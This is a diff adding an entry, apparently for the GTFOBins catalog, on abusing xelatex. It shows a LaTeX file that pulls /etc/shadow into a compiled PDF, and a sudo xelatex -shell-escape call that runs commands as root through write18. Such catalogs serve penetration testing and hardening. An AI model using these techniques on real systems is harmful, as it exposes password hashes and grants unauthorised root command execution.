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+description: `xelatex` is a symbolic link to [`xetex`](/gtfobins/xetex/). However the program does not have the same behaviour regarding the name of argv[0].
+functions:
+  file-read:
+    - code: |
+        echo "\documentclass[12pt]{article} \usepackage{verbatim} \begin{document} \verbatiminput{/etc/shadow} \end{document}" > read.tex
+        latexmk read.tex
+        #/etc/shadow is in read.pdf
+  sudo:
+    - code: |
+        echo "\documentclass[12pt]{article} \begin{document} \immediate\write18{/usr/bin/whoami} \end{document}" > file.tex
+        sudo xelatex -shell-escape file.tex